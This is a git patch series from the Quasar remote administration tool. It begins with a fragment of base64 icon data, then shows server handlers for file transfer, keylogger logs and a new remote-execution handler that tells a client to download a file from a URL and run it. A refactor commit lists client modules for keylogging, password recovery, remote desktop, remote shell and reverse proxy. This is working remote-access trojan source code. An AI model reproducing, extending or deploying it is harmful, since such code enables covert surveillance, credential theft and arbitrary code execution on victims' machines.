Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM - iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg - Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm - H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE - Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq - I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb - FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr - JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq - I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo - If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI - Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp - Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 - MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR - Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp - Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P - SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp - Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa - E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr - JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE - PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq - I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn - IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo - If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh - Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo - If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp - Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u - J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 - M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e - F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq - I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== - - - \ No newline at end of file diff --git a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs index 34b917ccf..059fdae27 100644 --- a/Quasar.Server/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -134,18 +134,21 @@ private void OnFileTransferUpdated(FileTransfer transfer) /// Initializes a new instance of the class using the given client. /// /// The associated client. - public FileManagerHandler(Client client) : base(true) + /// Optional sub directory name. + public FileManagerHandler(Client client, string subDirectory = "") : base(true) { _client = client; - _baseDownloadPath = client.Value.DownloadDirectory; + _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory); } /// public override bool CanExecute(IMessage message) => message is FileTransferChunk || message is FileTransferCancel || + message is FileTransferComplete || message is GetDrivesResponse || message is GetDirectoryResponse || - message is SetStatusFileManager; + message is SetStatusFileManager || + message is DoRemoteExecutionResponse; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); @@ -161,6 +164,9 @@ public override void Execute(ISender sender, IMessage message) case FileTransferCancel cancel: Execute(sender, cancel); break; + case FileTransferComplete complete: + Execute(sender, complete); + break; case GetDrivesResponse drive: Execute(sender, drive); break; @@ -170,6 +176,9 @@ public override void Execute(ISender sender, IMessage message) case SetStatusFileManager status: Execute(sender, status); break; + case DoRemoteExecutionResponse execResp: + Execute(sender, execResp); + break; } } @@ -235,8 +244,8 @@ public void BeginDownloadFile(string remotePath) /// Begins uploading a file to the client. /// /// The local path of the file to upload. - /// Save the uploaded file to this remote path. - public void BeginUploadFile(string localPath, string remotePath) + /// Save the uploaded file to this remote path. If empty, generate a temporary file name. + public void BeginUploadFile(string localPath, string remotePath = "") { new Thread(() => { @@ -297,7 +306,7 @@ public void BeginUploadFile(string localPath, string remotePath) return; } - // blocking sending might not be required, needs further testing + // TODO: blocking sending might not be required, needs further testing _client.SendBlocking(new FileTransferChunk { Id = id, @@ -325,9 +334,6 @@ public void BeginUploadFile(string localPath, string remotePath) return; } - transfer.Status = "Completed"; - OnFileTransferUpdated(transfer); - RemoveFileTransfer(transfer.Id); _limitThreads.Release(); }).Start(); } @@ -373,7 +379,8 @@ public void DeleteFile(string remotePath, FileType type) /// The remote path used for starting the new process. public void StartProcess(string remotePath) { - _client.Send(new DoProcessStart {ApplicationName = remotePath}); + // TODO: change to remote execution handler + _client.Send(new DoRemoteExecution {FilePath = remotePath}); } /// @@ -428,17 +435,9 @@ private void Execute(ISender client, FileTransferChunk message) return; } - if (transfer.TransferredSize == transfer.Size) - { - transfer.Status = "Completed"; - RemoveFileTransfer(transfer.Id); - } - else - { - decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); - transfer.Status = $"Downloading...({progress}%)"; - } - + decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); + transfer.Status = $"Downloading...({progress}%)"; + OnFileTransferUpdated(transfer); } @@ -461,6 +460,23 @@ private void Execute(ISender client, FileTransferCancel message) } } + private void Execute(ISender client, FileTransferComplete message) + { + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } + + if (transfer != null) + { + transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client + transfer.Status = "Completed"; + OnFileTransferUpdated(transfer); + RemoveFileTransfer(transfer.Id); + } + } + private void Execute(ISender client, GetDrivesResponse message) { if (message.Drives?.Length == 0) @@ -479,6 +495,11 @@ private void Execute(ISender client, SetStatusFileManager message) OnReport(message.Message); } + private void Execute(ISender client, DoRemoteExecutionResponse message) + { + OnReport(message.Success ? "Process started successfully" : "Process failed to start"); + } + /// /// Removes a file transfer given the transfer id. /// diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs index c05195351..1d688af16 100644 --- a/Quasar.Server/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -57,7 +57,10 @@ public void RetrieveLogs() private void Execute(ISender client, GetKeyloggerLogsResponse message) { - if (message.FileCount == 0) + // 1. retrieve directory content + // 2. download each file + + /*if (message.FileCount == 0) { OnReport("Ready"); return; @@ -95,7 +98,7 @@ private void Execute(ISender client, GetKeyloggerLogsResponse message) { OnReport("Ready"); } - } + }*/ } protected override void Dispose(bool disposing) diff --git a/Quasar.Server/Messages/RemoteExecutionHandler.cs b/Quasar.Server/Messages/RemoteExecutionHandler.cs new file mode 100644 index 000000000..47b48af62 --- /dev/null +++ b/Quasar.Server/Messages/RemoteExecutionHandler.cs @@ -0,0 +1,63 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + public class RemoteExecutionHandler : MessageProcessorBase + { + /// + /// The client which is associated with this remote execution handler. + /// + private readonly Client _client; + + public RemoteExecutionHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is DoRemoteExecutionResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoRemoteExecutionResponse execResp: + Execute(sender, execResp); + break; + } + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + /// Decides whether the process is a client update. + public void StartProcess(string remotePath, bool isUpdate = false) + { + _client.Send(new DoRemoteExecution { FilePath = remotePath, IsUpdate = isUpdate }); + } + + /// + /// Downloads a file from the web and executes it remotely. + /// + /// The URL to download and execute. + /// Decides whether the file is a client update. + public void StartProcessFromWeb(string url, bool isUpdate = false) + { + _client.Send(new DoRemoteExecution { DownloadUrl = url, IsUpdate = isUpdate}); + } + + private void Execute(ISender client, DoRemoteExecutionResponse message) + { + OnReport(message.Success ? "Process started successfully" : "Process failed to start"); + } + + protected override void Dispose(bool disposing) + { + + } + } +} diff --git a/Quasar.Server/Messages/TaskManagerHandler.cs b/Quasar.Server/Messages/TaskManagerHandler.cs index ccfcd7dff..5469dc431 100644 --- a/Quasar.Server/Messages/TaskManagerHandler.cs +++ b/Quasar.Server/Messages/TaskManagerHandler.cs @@ -7,6 +7,35 @@ namespace Quasar.Server.Messages { public class TaskManagerHandler : MessageProcessorBase { + /// + /// Represents the method that will handle the result of a started process. + /// + /// The message processor which raised the event. + /// The result of the process start. + public delegate void ProcessStartedEventHandler(object sender, string result); + + /// + /// Raised when a result of a started process is received. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ProcessStartedEventHandler ProcessStarted; + + /// + /// Reports the result of a started process. + /// + /// The result of the process start. + private void OnProcessStarted(string result) + { + SynchronizationContext.Post(r => + { + var handler = ProcessStarted; + handler?.Invoke(this, (string)r); + }, result); + } + /// /// The client which is associated with this task manager handler. /// @@ -22,7 +51,8 @@ public TaskManagerHandler(Client client) : base(true) } /// - public override bool CanExecute(IMessage message) => message is GetProcessesResponse; + public override bool CanExecute(IMessage message) => message is GetProcessesResponse || + message is DoRemoteExecutionResponse; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(_client); @@ -35,6 +65,9 @@ public override void Execute(ISender sender, IMessage message) case GetProcessesResponse proc: Execute(sender, proc); break; + case DoRemoteExecutionResponse execResp: + Execute(sender, execResp); + break; } } @@ -52,7 +85,7 @@ public void RefreshProcesses() /// The name or path of the application to start. public void StartProcess(string applicationName) { - _client.Send(new DoProcessStart {ApplicationName = applicationName}); + _client.Send(new DoRemoteExecution {FilePath = applicationName}); } /// @@ -69,6 +102,11 @@ private void Execute(ISender client, GetProcessesResponse message) OnReport(message.Processes); } + private void Execute(ISender client, DoRemoteExecutionResponse message) + { + OnProcessStarted(message.Success ? "Process started successfully" : "Process failed to start"); + } + protected override void Dispose(bool disposing) { } diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index ce6c28df4..583e8d8a2 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -85,12 +85,6 @@ FrmConnections.cs - - Form - - - FrmDownloadAndExecute.cs - Form @@ -196,23 +190,17 @@ FrmTaskManager.cs - - Form - - - FrmUploadAndExecute.cs - Form FrmVisitWebsite.cs - + Form - - FrmUpdate.cs + + FrmRemoteExecution.cs FrmAbout.cs @@ -229,9 +217,6 @@ FrmConnections.cs - - FrmDownloadAndExecute.cs - FrmFileManager.cs @@ -285,14 +270,11 @@ FrmTaskManager.cs - - FrmUploadAndExecute.cs - FrmVisitWebsite.cs - - FrmUpdate.cs + + FrmRemoteExecution.cs ResXFileCodeGenerator From c735d0fcab372677bcd28f8284e34babe1c2309d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 26 May 2020 22:43:49 +0200 Subject: [PATCH 176/229] Refactor client message handlers --- Quasar.Client/Commands/CommandHandler.cs | 19 - Quasar.Client/Commands/FileHandler.cs | 339 ------------ Quasar.Client/Commands/RegistryHandler.cs | 192 ------- Quasar.Client/Commands/SurveillanceHandler.cs | 179 ------ Quasar.Client/Commands/SystemHandler.cs | 521 ------------------ Quasar.Client/Config/Settings.cs | 9 +- Quasar.Client/Data/ClientData.cs | 16 - Quasar.Client/Helper/MutexHelper.cs | 25 - Quasar.Client/Helper/WindowsAccountHelper.cs | 47 -- .../{Utilities => Logging}/Keylogger.cs | 35 +- .../{Helper => Logging}/KeyloggerHelper.cs | 3 +- Quasar.Client/Logging/KeyloggerService.cs | 48 ++ .../Messages/ClientServicesHandler.cs | 24 +- Quasar.Client/Messages/FileManagerHandler.cs | 455 +++++++++++++++ Quasar.Client/Messages/KeyloggerHandler.cs | 122 +--- Quasar.Client/Messages/MessageBoxHandler.cs | 47 ++ .../Messages/PasswordRecoveryHandler.cs | 50 ++ Quasar.Client/Messages/RegistryHandler.cs | 241 ++++++++ .../Messages/RemoteDesktopHandler.cs | 198 +++++++ .../RemoteShellHandler.cs} | 63 ++- Quasar.Client/Messages/ReverseProxyHandler.cs | 63 +++ Quasar.Client/Messages/ShutdownHandler.cs | 67 +++ .../Messages/StartupManagerHandler.cs | 293 ++++++++++ .../Messages/SystemInformationHandler.cs | 78 +++ Quasar.Client/Messages/TaskManagerHandler.cs | 149 +++++ .../TcpConnectionsHandler.cs | 79 ++- Quasar.Client/Messages/UserStatusHandler.cs | 82 +++ .../WebsiteVisitorHandler.cs} | 46 +- Quasar.Client/Networking/Client.cs | 8 +- Quasar.Client/Networking/PacketHandler.cs | 156 ------ Quasar.Client/Networking/QuasarClient.cs | 31 +- Quasar.Client/Program.cs | 165 +----- Quasar.Client/QuasarApplication.cs | 171 ++++++ .../ReverseProxyCommandHandler.cs | 38 -- Quasar.Client/Setup/ClientInstaller.cs | 26 +- Quasar.Client/Setup/ClientUninstaller.cs | 5 +- Quasar.Client/Setup/ClientUpdater.cs | 4 +- Quasar.Client/Setup/Startup.cs | 14 +- .../Utilities/SingleInstanceMutex.cs | 29 + .../Data => Quasar.Common/DNS}/Host.cs | 2 +- .../DNS/HostsConverter.cs | 14 +- .../DNS}/HostsManager.cs | 9 +- Quasar.Common/Enums/ProcessAction.cs | 8 + .../{DoProcessKill.cs => DoProcessEnd.cs} | 2 +- Quasar.Common/Messages/DoProcessResponse.cs | 15 + ...DoRemoteExecution.cs => DoProcessStart.cs} | 2 +- ...erLogs.cs => GetKeyloggerLogsDirectory.cs} | 2 +- ...s => GetKeyloggerLogsDirectoryResponse.cs} | 4 +- .../Messages/GetKeyloggerLogsResponse.cs | 29 - Quasar.Server/Build/Renamer.cs | 6 +- Quasar.Server/Forms/FrmBuilder.cs | 8 +- Quasar.Server/Forms/FrmKeylogger.cs | 4 +- Quasar.Server/Forms/FrmRemoteExecution.cs | 42 +- Quasar.Server/Forms/FrmTaskManager.cs | 31 +- Quasar.Server/Helper/HostHelper.cs | 52 -- Quasar.Server/Messages/FileManagerHandler.cs | 51 +- Quasar.Server/Messages/KeyloggerHandler.cs | 107 ++-- .../Messages/RemoteExecutionHandler.cs | 63 --- Quasar.Server/Messages/TaskManagerHandler.cs | 76 +-- Quasar.Server/Models/FileTransfer.cs | 13 + Quasar.Server/Models/Host.cs | 23 - 61 files changed, 2426 insertions(+), 2274 deletions(-) delete mode 100644 Quasar.Client/Commands/CommandHandler.cs delete mode 100644 Quasar.Client/Commands/FileHandler.cs delete mode 100644 Quasar.Client/Commands/RegistryHandler.cs delete mode 100644 Quasar.Client/Commands/SurveillanceHandler.cs delete mode 100644 Quasar.Client/Commands/SystemHandler.cs delete mode 100644 Quasar.Client/Data/ClientData.cs delete mode 100644 Quasar.Client/Helper/MutexHelper.cs rename Quasar.Client/{Utilities => Logging}/Keylogger.cs (91%) rename Quasar.Client/{Helper => Logging}/KeyloggerHelper.cs (98%) create mode 100644 Quasar.Client/Logging/KeyloggerService.cs create mode 100644 Quasar.Client/Messages/FileManagerHandler.cs create mode 100644 Quasar.Client/Messages/MessageBoxHandler.cs create mode 100644 Quasar.Client/Messages/PasswordRecoveryHandler.cs create mode 100644 Quasar.Client/Messages/RegistryHandler.cs create mode 100644 Quasar.Client/Messages/RemoteDesktopHandler.cs rename Quasar.Client/{Utilities/Shell.cs => Messages/RemoteShellHandler.cs} (86%) create mode 100644 Quasar.Client/Messages/ReverseProxyHandler.cs create mode 100644 Quasar.Client/Messages/ShutdownHandler.cs create mode 100644 Quasar.Client/Messages/StartupManagerHandler.cs create mode 100644 Quasar.Client/Messages/SystemInformationHandler.cs create mode 100644 Quasar.Client/Messages/TaskManagerHandler.cs rename Quasar.Client/{Commands => Messages}/TcpConnectionsHandler.cs (50%) create mode 100644 Quasar.Client/Messages/UserStatusHandler.cs rename Quasar.Client/{Commands/MiscHandler.cs => Messages/WebsiteVisitorHandler.cs} (53%) delete mode 100644 Quasar.Client/Networking/PacketHandler.cs create mode 100644 Quasar.Client/QuasarApplication.cs delete mode 100644 Quasar.Client/ReverseProxy/ReverseProxyCommandHandler.cs create mode 100644 Quasar.Client/Utilities/SingleInstanceMutex.cs rename {Quasar.Client/Data => Quasar.Common/DNS}/Host.cs (96%) rename Quasar.Client/Helper/HostHelper.cs => Quasar.Common/DNS/HostsConverter.cs (67%) rename {Quasar.Client/Utilities => Quasar.Common/DNS}/HostsManager.cs (88%) create mode 100644 Quasar.Common/Enums/ProcessAction.cs rename Quasar.Common/Messages/{DoProcessKill.cs => DoProcessEnd.cs} (78%) create mode 100644 Quasar.Common/Messages/DoProcessResponse.cs rename Quasar.Common/Messages/{DoRemoteExecution.cs => DoProcessStart.cs} (86%) rename Quasar.Common/Messages/{GetKeyloggerLogs.cs => GetKeyloggerLogsDirectory.cs} (62%) rename Quasar.Common/Messages/{DoRemoteExecutionResponse.cs => GetKeyloggerLogsDirectoryResponse.cs} (50%) delete mode 100644 Quasar.Common/Messages/GetKeyloggerLogsResponse.cs delete mode 100644 Quasar.Server/Helper/HostHelper.cs delete mode 100644 Quasar.Server/Messages/RemoteExecutionHandler.cs delete mode 100644 Quasar.Server/Models/Host.cs diff --git a/Quasar.Client/Commands/CommandHandler.cs b/Quasar.Client/Commands/CommandHandler.cs deleted file mode 100644 index edcc4c0dc..000000000 --- a/Quasar.Client/Commands/CommandHandler.cs +++ /dev/null @@ -1,19 +0,0 @@ -using System.Collections.Concurrent; -using Quasar.Client.Utilities; -using Quasar.Common.IO; -using Quasar.Common.Video.Codecs; -using System.Collections.Generic; -using System.Threading; - -namespace Quasar.Client.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ - public static partial class CommandHandler - { - public static UnsafeStreamCodec StreamCodec; - private static Shell _shell; - private static readonly Dictionary RenamedFiles = new Dictionary(); - private static readonly ConcurrentDictionary ActiveTransfers = new ConcurrentDictionary(); - private static readonly Semaphore LimitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads - } -} diff --git a/Quasar.Client/Commands/FileHandler.cs b/Quasar.Client/Commands/FileHandler.cs deleted file mode 100644 index b553ca3fd..000000000 --- a/Quasar.Client/Commands/FileHandler.cs +++ /dev/null @@ -1,339 +0,0 @@ -using Quasar.Client.Utilities; -using Quasar.Common.Enums; -using Quasar.Common.Extensions; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using System; -using System.IO; -using System.Security; -using System.Threading; -using Quasar.Common.Helpers; - -namespace Quasar.Client.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */ - public static partial class CommandHandler - { - public static void HandleGetDirectory(GetDirectory command, Networking.Client client) - { - bool isError = false; - string message = null; - - Action onError = (msg) => - { - isError = true; - message = msg; - }; - - try - { - DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); - - FileInfo[] files = dicInfo.GetFiles(); - DirectoryInfo[] directories = dicInfo.GetDirectories(); - - FileSystemEntry[] items = new FileSystemEntry[files.Length + directories.Length]; - - int offset = 0; - for (int i = 0; i < directories.Length; i++, offset++) - { - items[i] = new FileSystemEntry - { - EntryType = FileType.Directory, Name = directories[i].Name, Size = 0, - LastAccessTimeUtc = directories[i].LastAccessTimeUtc - }; - } - - for (int i = 0; i < files.Length; i++) - { - items[i + offset] = new FileSystemEntry - { - EntryType = FileType.File, Name = files[i].Name, Size = files[i].Length, - ContentType = Path.GetExtension(files[i].Name).ToContentType(), - LastAccessTimeUtc = files[i].LastAccessTimeUtc - }; - } - - client.Send(new GetDirectoryResponse {RemotePath = command.RemotePath, Items = items}); - } - catch (UnauthorizedAccessException) - { - onError("GetDirectory No permission"); - } - catch (SecurityException) - { - onError("GetDirectory No permission"); - } - catch (PathTooLongException) - { - onError("GetDirectory Path too long"); - } - catch (DirectoryNotFoundException) - { - onError("GetDirectory Directory not found"); - } - catch (FileNotFoundException) - { - onError("GetDirectory File not found"); - } - catch (IOException) - { - onError("GetDirectory I/O error"); - } - catch (Exception) - { - onError("GetDirectory Failed"); - } - finally - { - if (isError && !string.IsNullOrEmpty(message)) - client.Send(new SetStatusFileManager {Message = message, SetLastDirectorySeen = true}); - } - } - - public static void HandleDoDownloadFile(FileTransferRequest command, Networking.Client client) - { - new Thread(() => - { - LimitThreads.WaitOne(); - try - { - using (var srcFile = new FileSplit(command.RemotePath, FileAccess.Read)) - { - ActiveTransfers[command.Id] = srcFile; - foreach (var chunk in srcFile) - { - if (!client.Connected || !ActiveTransfers.ContainsKey(command.Id)) - break; - - // blocking sending might not be required, needs further testing - client.SendBlocking(new FileTransferChunk - { - Id = command.Id, - FilePath = command.RemotePath, - FileSize = srcFile.FileSize, - Chunk = chunk - }); - } - - client.Send(new FileTransferComplete - { - Id = command.Id, - FilePath = command.RemotePath - }); - } - } - catch (Exception) - { - client.Send(new FileTransferCancel - { - Id = command.Id, - Reason = "Error reading file" - }); - } - finally - { - RemoveFileTransfer(command.Id); - LimitThreads.Release(); - } - }).Start(); - } - - public static void HandleDoDownloadFileCancel(FileTransferCancel command, Networking.Client client) - { - if (ActiveTransfers.ContainsKey(command.Id)) - { - RemoveFileTransfer(command.Id); - client.Send(new FileTransferCancel - { - Id = command.Id, - Reason = "Canceled" - }); - } - } - - public static void HandleDoUploadFile(FileTransferChunk command, Networking.Client client) - { - try - { - if (command.Chunk.Offset == 0) - { - string filePath = command.FilePath; - - if (string.IsNullOrEmpty(filePath)) - { - // generate new temporary file path if empty - filePath = FileHelper.GetTempFilePath(".exe"); - } - - if (File.Exists(filePath)) - { - // delete existing file - NativeMethods.DeleteFile(filePath); - } - - ActiveTransfers[command.Id] = new FileSplit(filePath, FileAccess.Write); - } - - if (!ActiveTransfers.ContainsKey(command.Id)) - return; - - var destFile = ActiveTransfers[command.Id]; - destFile.WriteChunk(command.Chunk); - - if (destFile.FileSize == command.FileSize) - { - client.Send(new FileTransferComplete - { - Id = command.Id, - FilePath = destFile.FilePath - }); - RemoveFileTransfer(command.Id); - } - } - catch (Exception) - { - RemoveFileTransfer(command.Id); - client.Send(new FileTransferCancel - { - Id = command.Id, - Reason = "Error writing file" - }); - } - } - - public static void HandleDoPathDelete(DoPathDelete command, Networking.Client client) - { - bool 